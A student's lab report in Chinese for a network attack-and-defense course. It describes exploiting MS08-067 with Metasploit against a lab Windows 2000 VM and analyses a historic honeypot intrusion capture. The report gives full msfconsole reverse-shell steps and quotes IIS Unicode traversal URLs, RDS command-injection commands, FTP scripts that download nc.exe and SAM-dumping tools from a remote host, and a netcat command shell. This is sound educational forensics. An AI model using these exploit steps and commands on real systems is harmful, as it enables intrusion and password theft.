20252915时进旭 2025-2026-2 《网络攻防实践》第六周作业
一、实践内容概述
本次实验围绕 Windows 操作系统安全攻防展开,核心完成以下三大实践任务:
- Metasploit Windows 远程渗透攻击:使用 Metasploit 渗透测试框架,针对 Windows 靶机的 MS08-067 漏洞发起远程渗透攻击,成功获取靶机系统的访问权限与完全控制权。
- NT 系统攻击流量取证分析:基于 Wireshark 分析攻击捕获日志
snort-0204@0117.log,完整还原攻击者 IP 212.116.251.162 对蜜罐主机 172.16.1.106(lab.wiretrip.net)的攻击全流程,解答核心取证分析问题。 - 攻防团队对抗实践:分为攻方与守方双角色,攻方通过 Metasploit 发起渗透攻击获取靶机控制权,使用 Wireshark 监听全量网络流量,还原攻击过程、提取攻击特征。
二、实践过程
环境准备
| 虚拟机名称 | IP 地址 |
|---|---|
| kali | 192.168.111.4 |
| seed | |
| Win2kserver | 192.168.111.8 |
Win2kserver:

Kali:

1.1动手实践Metasploit windows attacker
实验目标
使用 Metasploit 渗透测试框架,针对 Windows 靶机的 MS08-067 漏洞发起远程渗透攻击,成功获取靶机系统的访问权限与完全控制权。
实验过程
启动Metasploit(需要root权限):
service postgresql start
msfdb init
msfconsole

成功启动:

搜索并加载MS08-067漏洞利用模块:
search ms08_067

使用模块:
use 0

查看需要配置的攻击模块与参数:

设置攻击模块与参数:
# 设置攻击载荷为反向 TCP Shell
set payload generic/shell_reverse_tcp
# 配置核心 IP 参数
set RHOSTS 192.168.111.8 //目标Win2kserver主机
set LHOST 192.168.111.4 //kali本机
# 设置目标系统为自动识别模式
set TARGET 0

发起攻击:

拿到命令行:

1.2取证分析实践:解码一次成功的NT系统破解攻击。
实验目标
基于 Wireshark 分析攻击捕获日志 snort-0204@0117.log,完整还原攻击者 IP 212.116.251.162 对蜜罐主机 172.16.1.106(lab.wiretrip.net)的攻击全流程,解答核心取证分析问题。
实验过程
使用Wireshark打开日志文件:

筛选攻击机与蜜罐主机的通信:
ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106 && http

发现异常流量:
GET /guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1

进行跟踪,发现恶意GET请求:
GET /guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1
根本原因是目标服务器(Microsoft-IIS/4.0)未能正确处理或过滤URL中经过Unicode编码的特殊字符序列(%C0%AF),导致攻击者可以绕过路径安全检查,实现目录遍历。
1、关键攻击请求 (GET /guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini)
攻击手段识别:这个请求是一个典型的Unicode目录遍历漏洞利用(也称为目录遍历攻击)。
▪/guest/default.asp/是正常的路径。
▪..%C0%AF../是对../的Unicode编码变体。其中%C0%AF在某些特定解码环境下(特别是旧版本IIS)会被错误地解释为斜杠/或反斜杠\的等价物。因此,一连串的..%C0%AF../等同于多次的../../,旨在突破Web根目录的限制,向上(向后)遍历到文件系统的更高级目录。
▪最终的目标文件是boot.ini,这是Windows NT/2000/XP系统中的一个关键系统文件,位于系统盘根目录(如 C:\),其中包含了操作系统的启动配置信息
攻击意图:攻击者试图利用IIS 4.0/5.0中存在的Unicode解码漏洞,通过构造特殊的URL路径,非法读取Web服务器本不应被外部访问的系统文件(C:\boot.ini)
2、攻击结果分析 (HTTP/1.1 200 OK)
结果:攻击成功。服务器返回了HTTP/1.1 200 OK状态码,并使用了Transfer-Encoding: chunked分块传输。
泄露内容:在响应体中,紧随142(十六进制,表示接下来数据块的长度为322字节)之后的内容,正是目标文件C:\boot.ini的完整内容。该内容显示:
▪系统启动等待时间为30秒 (timeout=30)。
▪默认启动的操作系统位于第一个磁盘的第一个分区(multi(0)disk(0)rdisk(0)partition(1))。
▪系统是Windows NT Server,Enterprise Edition Version 4.00。

完成漏洞探测后,攻击者针对靶机 IIS 服务的 MDAC RDS 漏洞发起攻击,通过两步完成恶意代码植入。
RDS 漏洞特征定位:
http.request.uri contains "msadc"

跟踪POST数据流:

发现sql注入语句:

经特征匹配与漏洞库关联,确认攻击者使用了 rain forest puppy 编写的 msadc(2).pl 渗透攻击工具,该工具专门针对 Windows IIS 系统的 MDAC RDS 漏洞发起攻击,通过 SQL 注入实现远程命令执行,为后续植入恶意工具、获取系统权限提供了入口。
权限获取阶段:反向 Shell 配置与恶意工具下载:
通过RDS漏洞获得远程代码执行权限后,攻击者开展了反向 Shell 配置与恶意工具下载操作,完成对靶机的持久化控制。
反向 Shell 端口配置:
对 tcp.stream eq 109 的数据流进行筛选。

跟踪完整HTTP流发现,攻击者通过恶意请求植入了 nc -l -p 6969 -e cmd1.exe命令,该命令通过netcat工具在靶机的6969端口开启监听,绑定系统cmd命令行程序,实现反向Shell功能,为攻击者提供了靶机的交互式命令行控制权限:

FTP 恶意工具下载:为实现权限提升与口令窃取,攻击者通过FTP协议从远程服务器下载恶意工具,对tcp.stream eq 106的 TCP 数据流进行跟踪分析。


从数据流中可发现,攻击者通过构造的 ftpcom 脚本,连接远程 FTP 服务器 www.nether.net,使用用户名 johna2k、密码 haxedj00 完成登录认证,成功从服务器下载了:
- nc.exe(netcat 工具)
- pdump.exe 与 samdump.dll(Windows 系统口令提取工具)
攻击者获得靶机完整控制权后,开展了一系列系统操作,同时识别出了靶机的蜜罐属性:

还原攻击流程
| 阶段 | 时间范围 | 核心动作与目标 | 主要漏洞利用 | 结果与状态 |
|---|---|---|---|---|
| 1. 侦察与指纹识别 | 12:24:04 - 12:24:08 | 1. GET /(获取首页) 2. GET /guest/default.asp(发现留言板) |
正常访问 | 成功。 |
| 2. 初步漏洞利用 | 12:24:10 - 12:24:18 | 1. POST /guest/default.asp(提交留言,获取会话) 2. GET /guest/(验证目录) 3. GET /guest/..%c0%af../..%c0%af../..%c0%af../boot.ini(利用Unicode读取系统文件) |
IIS Unicode目录遍历漏洞 | 完全成功,系统信息泄露。 |
| 3. 横向移动探测 | 12:25:31 - 12:25:44 | 1. GET /msadc/(403) 2. GET /msadc/msadcs.dll(200) |
路径扫描 | 成功,发现高危攻击面。 |
| 4. 高危漏洞利用尝试 | 12:26:03 - 12:26:05 | RDS攻击:POST /msadc/msadcs.dll,执行 cmd /c echo werd > c:\fun |
MS99-025 RDS远程命令执行漏洞 | 请求被接受。 |
| 5. 攻击成功验证 | 12:26:11 | Unicode验证:GET /guest/..%c0%af../..%c0%af../..%c0%af../c/fun,读取测试文件。 |
组合利用 (Unicode + RDS) | 决定性成功,证实服务器已被攻陷,获得RCE权限。 |
| 6. 第一轮武器化 (RDS路径) | 12:31:47 - 12:32:22 | 连续6次RDS攻击,构建FTP脚本 ftpcom: 1. echo user johna2k > ftpcom 2. echo hacker2000 >> ftpcom 3. echo get samdump.dll >> ftpcom 4. echo get pdump.exe >> ftpcom 5. echo get nc.exe >> ftpcom 6. echo quit >> ftpcom |
MS99-025 RDS远程命令执行漏洞 | 脚本构建完成。 |
| 7. 第一轮武器投送 (RDS路径) | 12:32:29 | RDS执行:ftp -s:ftpcom -n www.nether.net |
MS99-025 RDS远程命令执行漏洞 | 因FTP密码错误,登录失败,工具下载未完成。 |
| 8. 备用方案尝试 | 12:32:46 | RDS执行:pdump.exe >> new.pass |
MS99-025 RDS远程命令执行漏洞 | 推测失败 (工具不存在)。 |
| 9. 第二轮武器化 (RDS路径) | 12:32:56 - 12:33:17 | 构建混乱的FTP脚本 ftpcom2: 1. echo user johna2k > ftpcom2 2. echo hacker2000 >> ftpcom2 3. echo put new.pass >> ftpcom2 4. echo quit >> ftpcom2 |
MS99-025 RDS远程命令执行漏洞 | 脚本无效。 |
| 10. 第二轮武器投送 (RDS路径) | 12:33:24 | RDS执行:ftp -s:ftpcom2 -n www.nether.net |
MS99-025 RDS远程命令执行漏洞 | 因相同密码错误,再次失败。 |
| 11. 低水平骚扰与循环 | 12:37:23 - 12:39:21 | 攻击者通过RDS发送混乱命令序列 (共8个请求,完整循环一轮): 1. open 213.116.251.162 2. echo johna2k >>.sasfile 3. echo haxedj00 >>.sasfile 4. echo get pdump.exe >>.sasfile 5. echo get samdump.dll >>.sasfile 6. echo get nc.exe >>.sasfile 7. echo quit >>.sasfile 8. ftp -s:sasfile |
MS99-025 RDS远程命令执行漏洞 | 攻击完全无效,产生噪音。 |
| 12. 迂回渗透:Unicode路径利用 | 12:39:58 | Unicode攻击:GET /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+copy+C:\winnt\system32\cmd.exe+cmd1.exe |
IIS Unicode目录遍历漏洞 | 成功,获得文件操作能力。 |
| 13. 迂回渗透:构建新FTP脚本 | 12:40:05 - 12:41:06 | 通过Unicode调用cmd1.exe,构建新的ftpcom脚本 (共7个请求): 1. echo open 213.116.251.162 > ftpcom 2. echo johna2k >> ftpcom 3. echo haxedj00 >> ftpcom 4. echo get nc.exe >> ftpcom 5. echo get pdump.exe >> ftpcom 6. echo get samdump.dll >> ftpcom 7. echo quit >> ftpcom |
IIS Unicode目录遍历漏洞 | 网络响应502,结果未知。 |
| 14. 迂回渗透:触发FTP下载 | 12:41:51 | Unicode攻击:GET /msadc/..%c0%af../..%c0%af../..%c0%af../program%20files/common%20files/system/msadc/cmd1.exe?/c+ftp+-s:ftpcom |
IIS Unicode目录遍历漏洞 | 网络响应502。但FTP日志证明,在此时间前后,一次FTP连接成功建立并完整下载了三个工具。 |
| 15. 武器投送 (决定性成功) | (约12:41:51前后) | FTP成功会话: 1. USER johna2k 2. PASS haxedj00 3. RETR nc.exe 4. RETR pdump.exe 5. RETR samdump.dll |
由阶段13/14触发的FTP客户端执行 | 完全成功。攻击核心目标达成。 |
| 16. 建立后门尝试 | 12:41:51之后 (精确时间未知) | Unicode攻击:GET /msadc/..%c0%af../..%c0%AF../..%c0%AF../program%20files/common%20files/system/msadc/cmd1.exe?/c+nc+-l+-p+6969+-e+cmd1.exe |
IIS Unicode目录遍历漏洞 | 意图创建Netcat后门。结果未知。 |
| 17. 手动控制与探索 | 12:41 - 13:05+ (系统本地时间 06:41a - 07:05a+) | 攻击者通过Netcat后门获得交互式Shell,执行命令: dir, del ftpcom, net users, net localgroup administrators, net start, pdump.exe(失败), del pdump.exe, del samdump.dll, 探索文件系统, 创建README.NOW.Hax0r警告文件等。 |
通过已建立的Netcat后门 | 获得控制,进行信息收集和有限操作,权限未完全提升,行为相对克制。 |
| 18. 自动化攻击循环 (攻击者A) | 12:42:48 - 12:46:51 | 攻击者的自动化脚本 (ACTIVEDATA) 持续循环:1. 12:42:48: pdump.exe >> yay.txt 2. 12:43:32: pdump.exe >.> c:\yay.txt 3. 12:44:50: pdump.exe >.> c:\yay.txt(无路径) 4. 12:46:44: net session >.> yay2.txt 5. 12:46:51: net session >.> c:\yay2.txt |
MS99-025 RDS远程命令执行漏洞 | 因权限不足、语法错误、工具被删,所有命令均无效。产生持续攻击噪音。 |
| **19. ** | 12:46:51之后 | 服务器被植入后门 (nc.exe监听)。 |
- | 服务器已实质性失陷,处于持续被控和受攻击状态 |
回答问题
1. 攻击者使用了什么破解工具进行攻击?
攻击者使用了 rain forest puppy 编写的 msadc(2).pl 渗透攻击工具,该工具专门针对 Windows IIS 系统的 MDAC RDS 漏洞发起攻击。
2. 攻击者如何使用这个破解工具进入并控制了系统?
攻击者分两个核心阶段完成了对靶机的入侵与系统控制:
- 踩点与漏洞探测阶段:攻击者利用 IIS 4.0 的 Unicode 编码漏洞(
%C0%AF为 Unicode 编码的/),构造恶意 GET 请求实现目录遍历,成功读取靶机 boot.ini 系统启动配置文件,确认目标为 Windows NT 系统、Web 服务为 IIS 4.0,同时验证了目标存在 Unicode 目录遍历与 MDAC RDS 远程代码执行两个高危漏洞,完成了攻击前的信息收集与漏洞验证。 - 漏洞利用与权限获取阶段:攻击者使用
msadc(2).pl渗透工具,针对 IIS 服务的msadcs.dll组件发起 RDS 漏洞攻击,通过 SQL 注入植入系统命令实现远程代码执行;随后通过 FTP 协议从远程服务器下载nc.exe、pdump.exe、samdump.dll等恶意工具;最终通过nc -l -p 6969 -e cmd1.exe命令在靶机开启 6969 端口的反向 Shell,成功获得靶机的交互式访问权限,完成对系统的完全控制。
3. 攻击者获得系统访问权限后做了什么?
攻击者获得靶机 Shell 访问权限后,开展了四类核心操作:
- 系统信息枚举与权限提升尝试:执行
net session、net users、net group、net localgroup等多条系统命令,枚举靶机的本地用户、用户组与会话信息,梳理系统权限架构,尝试获取本地管理员最高权限 - 系统账号口令窃取:借助提前下载的
pdump.exe与samdump.dll工具,提取 Windows 注册表 SAM 数据库中的账号密码密文,同时执行rdisk -/s命令创建 SAM 口令文件备份,将其保存为c:\har.txt,完成对靶机系统账号口令的窃取 - 攻击痕迹清理:执行
del命令删除上传至靶机的samdump.dll、pdump.exe等恶意工具文件,消除攻击留存的痕迹 - 蜜罐识别与标记:遍历靶机文件系统后,识别出目标的蜜罐属性,执行
echo best honeypot i've seen till now :) > rfp.txt命令,在靶机中创建文件完成蜜罐标记
4. 我们如何防止这样的攻击?
针对本次攻击利用的漏洞、攻击手法与完整攻击链路,可采取以下分层防御措施:
- 建立严格的漏洞管理流程。及时关注安全公告(如微软的安全公告、CVE列表)。对公开的、已验证的高危漏洞,立即测试并部署安全补丁。对于IIS 4.0这类已终止支持的系统,必须升级到受支持的版本。定期对系统进行漏洞扫描,主动发现未修补的漏洞。
- 网络边界防护:在服务器前端部署WAF(Web应用防火墙),可有效拦截和阻断针对Unicode、RDS等漏洞的已知攻击模式。同时配置主机防火墙,严格限制入站和出站连接。
5. 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
攻击者已经明确警觉到目标是一台蜜罐主机,且通过流量中的明文操作完成了蜜罐标记。
核心直接证据:在 tcp.stream eq 178 的 TCP 数据流中,攻击者执行了 echo best honeypot i've seen till now :) > rfp.txt 命令,直接在靶机的系统根目录中写入了标记蜜罐的文本内容,明确表明其已识别出目标的蜜罐属性。
攻击者识别蜜罐的核心原因:该靶机为 rain forest puppy 部署的开源蜜罐,与正常业务服务器存在显著的特征差异:
- 靶机使用的 IIS 4.0 服务保留了已公开多年的 RDS、Unicode 编码等高危漏洞,且未安装任何安全补丁,不符合正常业务服务器的安全配置规范
- 靶机系统中留存了大量渗透测试工具、漏洞样本与攻击脚本目录,与正常业务服务器的文件系统特征完全不符
- 靶机对攻击者的恶意攻击行为未做任何拦截与响应,完全放任攻击者完成漏洞利用、工具下载、权限获取全流程,进一步让攻击者确认了目标的蜜罐属性
1.3团队对抗实践:windows系统远程渗透攻击和分析。
实验目标
分为攻方与守方双角色,攻方通过 Metasploit 发起渗透攻击获取靶机控制权,Wireshark 监听全量网络流量,守方验证攻击结果,还原攻击过程、提取攻击特征。
对抗环境配置
注意:攻守双方的网络需要均设置成桥接模式。
- 攻方:Kali 虚拟机,IP 地址,使用MS08-067漏洞发起攻击
- 守方:Win2Kserver虚拟机,IP地址,作为被攻击靶机;两台虚拟机均设置为桥接模式
攻方攻击执行
msfconsole
# 沿用 MS08-067 漏洞利用模块,完成攻击参数配置
use windows/smb/ms08_067_netapi
# 设置反向 TCP Shell 载荷
set payload windows/shell_reverse_tcp
# 设置靶机 IP
set RHOSTS 192.168.31.116
# 设置攻击机 IP
set LHOST 192.168.31.108
# 发起攻击
exploit
ipconfig
# 在靶机中新建文件夹
md 20252806zsh

三、学习中遇到的问题及解决
人肉梳理流量非常繁琐
四、学习感想和体会
一次成功的入侵,是侦察、试探、利用、武器化、持久化等多个阶段的组合。攻击者有充足的时间去犯错、调整、再尝试。当一条路因自身错误走不通时,攻击者可能迅速切换至另一条路,并最终成功。防御不能寄希望于攻击者“笨”,他们可能很“韧”。这次分析让我“扮演”了一次攻击者,完整走完了攻击链。这极大地提升了我的威胁建模能力。防御者必须比攻击者更了解系统和可能的攻击路径。

浙公网安备 33010602011771号